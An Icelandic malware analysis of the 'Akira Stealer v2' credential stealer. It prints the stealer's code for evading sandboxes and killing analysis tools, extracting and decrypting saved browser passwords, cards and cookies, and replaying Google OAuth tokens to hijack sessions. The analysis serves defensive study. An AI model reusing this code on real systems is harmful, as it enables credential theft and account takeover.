killTasks() isVM(...) spawn Stöðvar þekkt greiningarferli
isVM(level) init Safnar athugunum saman og kallar á killTasks()-þráðinn
@staticmethod
def isVM(level: int) -> bool:
    # Always start background task-killer
    Thread(target=VmProtect.killTasks, daemon=True).start()
    if level == 1:
        # Fast path: HTTPS, hostname & user
        return (
            VmProtect.checkHTTPSimulation()
            or VmProtect.checkComputerName()
            or VmProtect.checkUsers()
        )
    if level == 2:
        # Deep scan: includes UUID, hosting, registry & GPU
        try:
            return (
                VmProtect.checkHTTPSimulation()
                or VmProtect.checkUUID()
                or VmProtect.checkComputerName()
                or VmProtect.checkUsers()
                or VmProtect.checkHosting()
                or VmProtect.checkRegistry()
            )
        except:
            return False
    return False

7.3.5 UUID-athugun – að finna sýndarvélar út frá vélbúnaðar-UUID

Algeng taktík í evasion malware-sins er að taka fingrafar af vélbúnaðarumhverfinu. Eitt fyrsta auðkennið sem getur gefið sýndarvél til kynna er kerfis-UUID-ið (Universally Unique Identifier). Sýndarvæðingarpallar eins og VMware og VirtualBox mynda oft UUID sem eru forspáanleg eða endurnotuð, og malware getur notað þau til að ráða í hvort það keyri í sýndar- eða sandbox-umhverfi.

@staticmethod
def checkUUID() -> bool:
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid", shell=True,
            capture_output=True
        ).stdout.splitlines()[2].decode().strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

Þessi athugun nýtir Windows Management Instrumentation Command-line (WMIC) tólið til að draga út UUID hostvélarinnar. Gildið sem kemur til baka er svo borið við valinn lista af UUID sem almennt eru tengd við sniðmát sýndarvéla eða þekktar greiningaruppsetningar.

7.3.6 Athugun á tölvuheiti – að finna sandbox- og greiningarumhverfi út frá hostname

Hostname kerfisins, sem lesið er úr umhverfisbreytunni %COMPUTERNAME%, gefur oft vísbendingar um umhverfið. Greinendur nota oft sjálfgefin eða fljótgerð hostname eins og "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eða jafnvel heiti sem tengjast þeirra innri umhverfum. Malware nýtir þetta og ber hostname kerfisins við svartlista.

@staticmethod
def checkComputerName() -> bool:
    name = os.getenv("computername", "").lower()
    return name in VmProtect.BLACKLISTED_COMPUTERNAMES

BLACKLISTED_COMPUTERNAMES = (
    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
    'desktop-vkeons4','ntt-eff-2w11wss',
    # ... dozens more entries ...
)

Ef samsvörun finnst getur malware-ið valið að stöðva keyrslu eða dreifa fölsuðum payload og komast þannig hjá fullri hegðunargreiningu.

7.3.7 Athugun á notandareikningi – að greina reikninga greinenda og sjálfgefna reikninga

Önnur heuristík byggir á því að skoða notandanafnið sem malware-ið keyrir undir. Mörg sniðmát sýndarvéla og sandboxa endurnota algeng notandanöfn eins og "Abby", "Test" eða "wdagutilityaccount". Þessi nöfn hafa litla óreiðu og eru oft harðkóðuð í sandbox-umhverfum með opnum kóða.

@staticmethod
def checkUsers() -> bool:
    user = os.getlogin().lower()
    return user in VmProtect.BLACKLISTED_USERS

BLACKLISTED_USERS = (
    'wdagutilityaccount','abby','peter wilson','hmarc',
    'a.monaldo','tvm',
    # ... 30+ more entries ...
)

Þessi athugun styrkir detection með því að beinast að notandasamhenginu, sem getur haldist óbreytt jafnvel eftir endurræsingar eða snapshots sýndarvéla.

7.3.8 Hýsingarathugun – að finna opinbera cloud-innviði

Sumt malware notar utanaðkomandi IP-upplýsingaþjónustur til að athuga hvort sýkta kerfið sé í þekktu gagnaveri eða hjá cloud-veitanda. Í þessu tilviki er einföld HTTP-beiðni send á ip-api.com og spurt hvort IP-ið sé merkt sem "hosting".

@staticmethod
def checkHosting() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET',
            'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

Þetta gerir malware-inu kleift að ákvarða hvort það keyri á innviðum í eigu Microsoft Azure, AWS, DigitalOcean og svo framvegis, sem er viðvörunarmerki um sandbox.

7.3.9 HTTPS-hermunarathugun – að leita að SSL-hlerun

Til að finna umhverfi með SSL-skoðun (algengt í fyrirtækja- og rannsóknarnetum) sendir malware-ið meinlausa HTTPS-beiðni á handahófskennt undirlén undir .in. Ef tengingin bregst, vegna DNS-síunar, hlerunarproxa eða þess að certificate pinning misheppnast, getur það verið merki um að malware-ið sé í greiningu.

@staticmethod
def checkHTTPSimulation() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
    except:
        return False
    return True

Þessi fíngerða aðferð prófar heilleika netleiðarinnar án þess að kveikja á viðvörunum eða krefjast sérstakra innviða.

7.3.10 Athugun á registry og GPU-driverum – að finna signature sýndar-GPU

Tiltekin sýndarumhverfi koma upp um sig með registry-lyklum eða lýsingum á GPU-driverum. Akira keyrir tvöfalda stefnu: það gerir fyrirspurnir í registry-færslur sem tengjast grafíkundirkerfinu og skoðar sérstaklega úttak wmic með tilliti til grunsamlegra GPU-strengja.

@staticmethod
def checkRegistry() -> bool:
    r1 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\DriverDesc 2",
        capture_output=True, shell=True)
    r2 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\ProviderName 2",
        capture_output=True, shell=True)

    # GPU name check
    gpu_out = subprocess.run(
        "wmic path win32_VideoController get name",
        capture_output=True, shell=True).stdout.decode().splitlines()
    gpucheck = any(x in gpu_out[2].lower()
                   for x in ("virtualbox", "vmware"))
    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck

Þessar athuganir á vélbúnaðarlaginu eru sérstaklega áhrifaríkar gegn uppsetningum greinenda sem hylja ef til vill ekki sýndarvædda skjástýringu að fullu.

7.3.11 Að drepa tasks – að slá greiningartól út í rauntíma

Í stað þess að komast hjá detection eingöngu með óvirkum hætti gengur Akira skrefi framar og stöðvar með virkum hætti þekkt greiningar- og aflúsunartól. Það ræsir bakgrunnsþráð sem fer í gegnum lista ferla og drepur hverja samsvörun sem það finnur.

@staticmethod
def killTasks() -> None:
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

BLACKLISTED_TASKS = (
  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
  # ... dozens more ...
  'glasswire','requestly'
)

Þessi tól, sem viðbragðsaðilar og malware-greinendur nota almennt, eru gerð óvirk áður en þau geta safnað marktækum hegðunar-artifacts.

Samantekt

Akira notar fágað safn aðferða gegn greiningu sem beinast að mörgum lögum kerfisins, allt frá umhverfisbreytum og registry-lyklum til netprófana og ferlalista. Þessum búnaði er ætlað að finna og komast hjá bæði sjálfvirkum sandboxum og handvirkum skoðunaruppsetningum.

Samsetning óvirkrar fingrafaratöku og virkrar kúgunar (t.d. að drepa tasks) sýnir hvernig jafnvel malware-fjölskyldur í miðjum flokki samþætta nú evasion-rökvísi í mörgum lögum.

7.3.12 Fullir svartlistar og detection-föll

Svartlistuð vélbúnaðar-UUID

BLACKLISTED_UUIDS = (
    '7AB5C494-39F5-4941-9163-47F54D6D5016',
    '032E02B4-0499-05C3-0806-3C0700080009',
    '03DE0294-0480-05DE-1A06-350700080009',
    '11111111-2222-3333-4444-555555555555',
    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',
    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
    '4C4C4544-0050-3710-8058-CAC04F59344A',
    '00000000-0000-0000-0000-AC1F6BD04972',
    '00000000-0000-0000-0000-000000000000',
    '5BD24D56-789F-8468-7CDC-CAA7222CC121',
    '49434D53-0200-9065-2500-65902500E439',
    '49434D53-0200-9036-2500-36902500F022',
    '777D84B3-88D1-451C-93E4-D235177420A7',
    '49434D53-0200-9036-2500-369025000C65',
    'B1112042-52E8-E25B-3655-6A4F54155DBF',
    '00000000-0000-0000-0000-AC1F6BD048FE',
    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
    'A15A930C-8251-9645-AF63-E45AD728C20C',
    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
    'C7D23342-A5D4-68A1-59AC-CF40F735B363',
    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
    '44B94D56-65AB-DC02-86A0-98143A7423BF',
    '6608003F-ECE4-494E-B07E-1C4615D1D93C',
    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
    '49434D53-0200-9036-2500-369025003AF0',
    '8B4E8278-525C-7343-B825-280AEBCD3BCB',
    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
    '79AF5279-16CF-4094-9758-F88A616D81B4',
    'FE822042-A70C-D08B-F1D1-C207055A488F',
    '76122042-C286-FA81-F0A8-514CC507B250',
    '481E2042-A1AF-D390-CE06-A8F783B1E76A',
    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
    '9961A120-E691-4FFE-B67B-F0E4115D5919'
)

Svartlistuð tölvuheiti

BLACKLISTED_COMPUTERNAMES = (
    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
    'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)

Svartlistaðir notandareikningar

BLACKLISTED_USERS = (
    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)

Svartlistuð ferli greiningartóla

BLACKLISTED_TASKS = (
    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
    'discordtokenprotector', 'glasswire', 'requestly'
)

Kjarnaaðferðir við detection

@staticmethod
def checkUUID() -> bool:
    """WMIC hardware UUID against known VM IDs."""
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid",
            shell=True, capture_output=True
        ).stdout.splitlines()[2].decode(errors='ignore').strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

@staticmethod
def checkComputerName() -> bool:
    """ENV %COMPUTERNAME% in VM name list."""
    return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

@staticmethod
def checkUsers() -> bool:
    """Current login username in VM users list."""
    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS

@staticmethod
def checkHosting() -> bool:
    """Query ip-api.com/hosting → 'true' indicates cloud VM."""
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET', 'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

@staticmethod
def checkHTTPSimulation() -> bool:
    """
    Attempt TLS to random subdomain.
    Failure → possible HTTPS interception/sandbox.
    """
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
        return True
    except:
        return False

@staticmethod
def checkRegistry() -> bool:
    """
    Look for VirtualBox/VMware in:
    - Registry driver entries
    - Video card name via WMIC
    - Presence of VM-specific folders
    """
    r1 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
        shell=True, capture_output=True
    )
    r2 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
        shell=True, capture_output=True
    )
    gpu = any(
        x.lower() in subprocess.run(
            "wmic path win32_VideoController get name",
            shell=True, capture_output=True
        ).stdout.decode().splitlines()[2].lower()
        for x in ("virtualbox", "vmware")
    )
    dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs

@staticmethod
def killTasks() -> None:
    """Continuously terminate known analysis processes."""
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

7.3.13 Rökvísi keyrslu og stöðvunar

  1. Frumstilling: inni í Akira.__init__()-smiðnum kallar malware-ið samstundis á VmProtect.isVM(1) til að framkvæma hraðar sýndarvæðingarathuganir með lítinn tilkostnað (t.d. hostname, notanda, HTTPS-hermun).
  2. Djúpskoðun: ef fyrsta prófið gengur upp kallar það á VmProtect.isVM(2), sem kveikir á heildstæðari athugunum, þar á meðal staðfestingu á vélbúnaðar-UUID, detection á hýsingu í gegnum ip-api.com og skönnun á registry-artifacts.
  3. Stöðvunarleið: ef einhver athugun skilar True, sem gefur sýndar- eða greiningarumhverfi til kynna, keyrir kóðinn sys.exit() og stöðvar keyrsluna áður en nokkrar rútínur til gagnasöfnunar eða exfiltration fara í gang.

7.3.14 Niðurstaða

VmProtect-einingin í Akira Stealer v2 sýnir lagskipta vörn gegn greiningu sem nýtir bæði fingraför staðbundna kerfisins og netbyggða heuristík. Með því að skilja þessar nákvæmu athuganir og mæla þær geta þeir sem verjast snúið taflinu við og greint slíkt evasivt malware í raunumhverfum.

7.4 Exfiltration browsergagna

Eitt af kjarnamarkmiðum Akira Stealer v2 er umfangsmikill útdráttur viðkvæmra gagna sem browserinn hefur vistað. Malware-ið hefur sérsniðnar einingar sem beinast bæði að Chromium-byggðum og Gecko-byggðum (Firefox) browsers. Geta þess nær til útdráttar og afkóðunar á vistuðum lykilorðum, cookies, kreditkortagögnum, sjálfvirkum útfyllingarfærslum og jafnvel setutokens sem má nota til að yfirtaka reikninga að fullu.

1. Uppsetning vinnusvæðis

client_dir = Utils.get_temp_folder()  # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
  • Búið er til einnota staging-svæði undir tímabundnu möppu kerfisins, nefnt eftir vél fórnarlambsins (%TEMP%\DESKTOP-), sem tryggir að allir exfiltreraðir artifacts safnist á einn stað sem auðvelt er að pakka.
  • Gögn eru einangruð eftir tegund: sex sérstakar undirmöppur (Passwords, Cookies, CreditCards, History, Autofill, Wallets) koma í veg fyrir nafnaárekstra og einfalda pökkun síðar, því hver útdráttarrútína skrifar aðeins í sína eigin möppu.
  • Möppur eru búnar til á sjálfvirkan óskaðlegan hátt með exist_ok=True, svo ef malware-ið keyrir aftur (t.d. við endurræsingu eða persistence) hrynur það ekki og skrifar ekki yfir gögn sem þegar eru til, ný atriði leggjast einfaldlega við sömu uppbyggingu.
  • Það greiðir fyrir valkvæmri tiltekt: þegar upphali og tilkynningu er lokið getur stealerinn kallað á Utils.clear_client_folder() til að eyða endurkvæmt aðeins sínu eigin vinnusvæði og skilja engar skrár eftir.
  • Það leggur grunninn að samhliða útdráttarþráðum: með því að búa öll markmið til fyrirfram geta bakgrunnsþræðir sem safna browser-credentials, cookies, sjálfvirkum útfyllingum, kryptóveskjagögnum og öðru skrifað niðurstöður samstundis án frekari athugana, sem lágmarkar tilkostnað og minnkar þann glugga sem varnarhookar hafa til að greina óvænta skráa-I/O.

2. Studdir browsers

  • Chromium‑byggðir
    • Google Chrome (Stable & SxS)
    • Microsoft Edge
    • Brave Browser
    • Opera & Opera GX
    • Chromium
    • Comodo Dragon
    • Epic Privacy Browser
    • Iridium Browser
    • UR Browser
    • Vivaldi Browser
    • Yandex Browser
    • Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
  • Firefox‑byggðir (í gegnum GeckoDriver)
    • Mozilla Firefox
    • Waterfox
    • Pale Moon

    Akira finnur notandaprófíla dýnamískt með umhverfisbreytum og vel þekktri möppuuppbyggingu:
    user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
    

    Það athugar endurkvæmt hvaða browser-prófílar eru til (t.d. Default, Profile 1 og fleiri) og beinist að SQLite-gagnagrunnum inni í þeim slóðum.

7.4.1 Gagnategundir sem dregnar eru út

Gagnategund Upprunaskrá Athugasemdir
Vistuð lykilorð Login Data (Chromium) Afkóðað með DPAPI eða AES-GCM (eftir Chromium v80)
Cookies Cookies Getur innihaldið setutokens, sérstaklega fyrir Google- og Facebook-reikninga
Sjálfvirk útfyllingargögn Web Data Heimilisföng, tölvupóstar, símanúmer og fleira
Kreditkort Web Data Dulkóðað, þarf masterlykil
Setutokens Í minni og í cookies Nær yfir Gmail, Google-reikninga og replay á Discord-OAUTH
Ferilskrá og URL History, Visited Links Voru einnig exfiltreruð til árásaraðilans

3. Útdráttareiningar Þegar höfundar malware beinast að browsers eru helstu fjársjóðirnir hinir ýmsu SQLite-gagnagrunnar þar sem Chrome, Firefox og skyld forrit geyma credentials, cookies, ferilskrá og sjálfvirkar útfyllingarfærslur. astor.py vefur saman léttu Python-kóða og innbyggðum API til að plokka hvert gagnabrot með aðferð, og jafnvel endurspila lifandi OAuth-setur, án þess að skilja eftir spor. Hér fyrir neðan er ítarleg ferð eining fyrir eining, orðrétt úr kóðanum.

7.4.2 Lykilorðadumpari (Chromium.GetPasswords)

Þessi eining leitar með aðferð í gegnum alla Chromium-byggða browser-prófíla til að draga út vistuð innskráningar-credentials. Með því að beinast að Login Data SQLite-gagnagrunninum sækir hún notandanöfn og dulkóðuð lykilorð og notar svo dulkóðunarlykil pallsins (sóttan í gegnum DPAPI eða AES-GCM) til að afkóða þau í hreinan texta. Þessi credentials eru mjög verðmæt til að stikla áfram eftir kompromíseringu eða til að yfirtaka reikninga.

for root, _, files in os.walk(self.BrowserPath):
    for file in files:
        if file.lower() == "login data":
            # Copy DB → open → extract rows
            results = cursor.execute(
                "SELECT origin_url, username_value, password_value FROM logins"
            ).fetchall()
            for url, user, pwd_blob in results:
                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
                passwords.append((url, user, clear_pwd))
  • Finnur hvern Login Data SQLite-gagnagrunn undir User Data-möppu browsersins.
  • Afritar í tímabundna skrá til að forðast læsingar browsersins.
  • SQL-fyrirspurn: SELECT origin_url, username_value, password_value FROM logins.
  • Afkóðar hvert password_value-blob með AES‑GCM (v10/v11) eða fellur til baka á Windows DPAPI.
  • Skrifar úttakið í Passwords/<BrowserName> Passwords.txt.

7.4.3 Kreditkortadumpari (Chromium.GetCreditCards)

Hér nær stealerinn í vistuð kreditkortagögn úr Web Data-skrá hvers browser-prófíls. Hann leggur áherslu á að draga út gildistíma og dulkóðuð kortanúmer, sem eru svo afkóðuð með sömu rökvísi og lykilorðin. Þótt CVV-kóðar séu yfirleitt ekki vistaðir má samt misnota upplýsingarnar sem endurheimtast til svika þar sem kortið er ekki til staðar.

results = cursor.execute(
    "SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
    cc_number = self.Decrypt(enc_cc, encryptionKey)
    ccs.append((cc_number, month, year))
  • Beinist að Web Data SQLite-geymslunum undir hverjum prófíl.
  • SQL-fyrirspurn: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards.
  • Afkóðar card_number_encrypted nákvæmlega eins og lykilorðablobbin.
  • Skilar í CreditCards/<BrowserName> CreditCards.txt.

Cookies, og einkum setucookies, eru helstu skotmörk til að yfirtaka reikninga án lykilorða. Þessi eining dumpar allar cookie-skrár þvert á prófíla, afkóðar þær og safnar nauðsynlegum lýsigögnum eins og léni, heiti og gildistíma. Ásamt fingrafaratöku geta þessi cookies gert replay-árásir á auðkenndar þjónustur snurðulausar.

results = cursor.execute(
    "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
    cookie_val = self.Decrypt(blob, encryptionKey)
    cookies.append((host, name, path, cookie_val, expiry))
  • Skannar hvern Cookies SQLite-gagnagrunn.
  • Velur host_key, name, path, encrypted_value, expires_utc.
  • Afkóðar hvert encrypted_value-blob til að afhjúpa hinn eiginlega cookie-streng.
  • Vistar í Cookies/<BrowserName> Cookies.txt.

7.4.5 Dumpari Google-seta (Chromium.dump_google_sessions)

Þessi rútína er einn af háþróaðri hlutunum og afkóðar vistuð OAuth-tokens úr token_service-töflunni. Með því að endurspila þau í gegnum multilogin-endapunkt Google getur malware-ið endurmyndað virk setucookies, sem gerir árásaraðilum kleift að yfirtaka Google-reikninga án credentials. Þetta sýnir hvernig access tokens eru orðin helstu skotmörk í nútíma stealers.

cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
    iv = blob[3:15]
    ciphertext = blob[15:-16]
    cipher = AES.new(secret_key, AES.MODE_GCM, iv)
    token = cipher.decrypt(ciphertext).decode()
    # Replays via POST to OAuth endpoint
    response = requests.post(
        "https://accounts.google.com/oauth/multilogin",
        headers={"Authorization": f"MultiBearer {token}:{service_id}"},
        data={"source": "com.google.Drive"}
    )
    save each account’s cookies to file
  • Sækir service og hrátt encrypted_token úr afriti af Web Data.
  • AES‑GCM-afkóðun með Local State-lykli browsersins.
  • Endurspilar afkóðuð tokens í POST á multilogin-API Google til að endurgera gild OAuth-cookies.
  • Skrifar setuskrár fyrir hvern reikning undir Cookies/<display_email> Google Session.txt.

7.4.6 Ferilskrárdumpari (Chromium.GetHistory)

Þetta fall dregur út færslur úr vafraferli, þar á meðal URL, titil og heimsóknartíðni. Auk þess að vera innrás í einkalíf hjálpa þessi gögn árásaraðilum að skilja hegðun fórnarlambsins, finna verðmæt skotmörk (t.d. bankavefi) og sníða payloads fyrir félagslega hönnun.

results = cursor.execute(
    "SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
  • Velur url, title, visit_count, last_visit_time úr hverjum History-gagnagrunni.
  • Raðar færslum eftir last_visit_time í fallandi röð.
  • Skilar History/<BrowserName> History.txt.

7.4.7 Dumpari sjálfvirkra útfyllinga (Chromium.GetAutofills)

Sjálfvirkar útfyllingarfærslur, svo sem heimilisföng, nöfn, tölvupóstar og stundum gögn sem tengjast greiðslum, eru sópaðar úr Web Data-geymslu browsersins. Þessi gildi virðast ef til vill ekki afgerandi, en samanlögð gefa þau ríka mynd af auðkenni og hegðun fórnarlambsins.

results = cursor.execute(
    "SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
    autofills.append((field.strip(), value.strip()))
  • Sækir færslur úr útfyllingum forma: name, value úr web data-skránni.
  • Skrifar út sem Autofill/<BrowserName> Autofill.txt.

7.4.8 Firefox-prófílagrabbari (GeckoDriver og grabFirefoxProfiles)

Ólíkt fínkornóttu Chromium-rútínunum velur þetta fall breiða nálgun: það þjappar allri Firefox-prófílmöppunni, þar á meðal vistuðum innskráningum, cookies og bókamerkjum, og exfiltrerar hana í heilu lagi. Það tryggir að árásaraðilar geti greint eða dregið út gögn utan nets og komist fram hjá afkóðunarhindrunum með þekktum NSS-verkfærum.

with zipfile.ZipFile(zip_path, 'w') as zipf:
    for root, dirs, files in os.walk(source_path):
        zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
  • Pakkar allri %APPDATA%\Mozilla\Firefox\Profiles-möppunni í ZIP.
  • Nefnir hana %TEMP%\<ComputerName>_Firefox_profiles.zip og sendir niðurhalshlekkinn yfir sömu webhook-rásir.
  • Kallar einnig á sömu SQLite-byggðu útdráttarföllin (logins.json, cookies.sqlite, places.sqlite) á hvern Firefox-prófíl með þeim NSS-afkóðunarrútínum sem þegar eru til staðar.

7.4.9 Samantekt útdráttar

Astor.py stjórnar heildstæðri kompromíseringu browsersins með því að safna með aðferð hverju credential og hverjum setu-artifacti þvert á Chromium-byggða og Firefox-klienta. Það finnur og afritar hverja SQLite-geymslu á öruggan hátt, Login Data, Web Data, Cookies, History og autofill, og keyrir svo markvissar SQL-fyrirspurnir til að draga út URL, notandanöfn, lykilorð, kreditkortaupplýsingar, cookies, vafraferil og útfyllingarfærslur forma. Lykilorð og greiðslugögn eru afkóðuð með AES-GCM (eða falla til baka á Windows DPAPI), en cookies eru pakkað upp á sama hátt til að afhjúpa gildi þeirra í plaintext. Fyrir Google-reikninga eru dulkóðuð OAuth-tokens úr token_service afkóðuð og endurspiluð gegn multilogin-API til að endurmynda lifandi setucookies. Að lokum eru Firefox-prófílar pakkaðir í heilu lagi (þar á meðal logins.json, cookies.sqlite og places.sqlite) og afhentir sem ZIP, svo enginn artifact verði eftir. Þessi pípa frá upphafi til enda keyrir hljóðlega undir %TEMP%\<ComputerName> og býr til snyrtilega skipulagðar úttaksskrár fyrir hvern gagnaflokk.

7.5 Rökvísi afkóðunar

Nútíma browsers eins og Chrome og Edge dulkóða viðkvæm gögn, svo sem lykilorð, cookies og kreditkortaupplýsingar, áður en þau eru vistuð staðbundið. Akira hefur innbyggðar afkóðunarrútínur sem eru sniðnar að því að takast á við bæði eldri og núverandi dulkóðunaraðferðir Chromium. Það tryggir að það geti dregið út gögn í hreinum texta óháð því hvaða patch-stigi eða browser-útgáfu kerfið er á.

Kjarni þessa ferlis er útdráttur og afkóðun á meginlykli browsersins, sem geymdur er í skrá sem heitir Local State. Eftir útgáfu browsersins og Windows-byggingu velur Akira dýnamískt viðeigandi afkóðunaraðferð:

DPAPI (Data Protection API) er notað á eldri kerfum, þar sem Chrome geymir leyndarmál varin af Windows-credentials núverandi notanda.

AES-GCM er notað í nýlegum Chromium-byggingum, þar sem meginlykill sem myndaður er af handahófi er sjálfur dulkóðaður með DPAPI og svo notaður til dulkóðunar notandagagna inni í forritinu.

Með því að afkóða Local State-meginlykilinn fyrst fær Akira getuna til að opna öll leyndarmál browsersins, sem greiðir brautina fyrir útdrætti á credentials, tokens, cookies og fleiru.

Útdráttur lykils

local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

Afkóðun (AES-GCM):

nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)

Ef þörf er á að falla til baka á DPAPI (á eldri kerfum) notar það win32crypt.CryptUnprotectData().

Skýring á decrypt_password_blob: Þetta fall sýnir hvernig Akira Stealer afkóðar hvert vistað lykilorðagildi úr Chromium-byggðum browsers. Það tekur á tveimur tilvikum:

  1. Windows DPAPI-blob (eldri gögn eða gögn sem eru ekki GCM-dulkóðuð): fellur til baka á kerfiskallið CryptUnprotectData, sem notar Windows-credentials notandans til afkóðunar.
  2. AES-GCM-dulkóðuð blob (snið Chrome v10/v11): les útgáfuhausinn, dregur út IV og sannvottunartag og notar cryptography-safnið til að afkóða payloadinn á öruggan hátt.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
    """
    Decrypts a Chrome password blob using either DPAPI or AES-GCM.

    Parameters:
    - buffer: raw encrypted blob from the `password_value` field
    - key: the master AES key retrieved via DPAPI from Local State

    Returns:
    - Decrypted UTF-8 plaintext password
    """
    # 1) DPAPI fallback for non-AES-GCM blobs
    if not buffer.startswith((b'v10', b'v11')):
        # Uses Windows CryptUnprotectData under the hood
        return CryptUnprotectData(buffer)

    # 2) AES-GCM decryption for Chrome v10/v11 format:
    # Bytes layout:
    # [0:3]    = version header ('v10'/'v11')
    # [3:15]   = initialization vector (IV)
    # [15:-16] = ciphertext payload
    # [-16:]   = GCM authentication tag
    iv = buffer[3:15]
    ciphertext = buffer[15:-16]
    tag = buffer[-16:]

    # Initialize AES-GCM cipher with extracted IV and tag
    cipher = Cipher(
        algorithms.AES(key),
        modes.GCM(iv, tag),
        backend=default_backend()
    )
    decryptor = cipher.decryptor()

    # Perform decryption; raises if authentication fails
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()

    # Decode to UTF-8, ignoring any stray errors
    return plaintext.decode('utf-8', errors='ignore')

7.6 Yfirtaka setutokens

Akira lætur ekki staðar numið við óvirka gagnasöfnun, það yfirtekur með virkum hætti lifandi setutokens til að þykjast vera fórnarlömbin í rauntíma. Eftir að hafa dregið dulkóðuð tokens úr geymslu browsersins endurgerir það þann authorization-haus sem þarf og endurspilar MultiLogin-beiðni gegn OAuth-endapunkti Google. Kóðabrotið hér fyrir neðan sýnir ferlið:

# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
    "Authorization": f"SAPISIDHASH {timestamp}_{signature}",
    "Content-Type": "application/json"
}
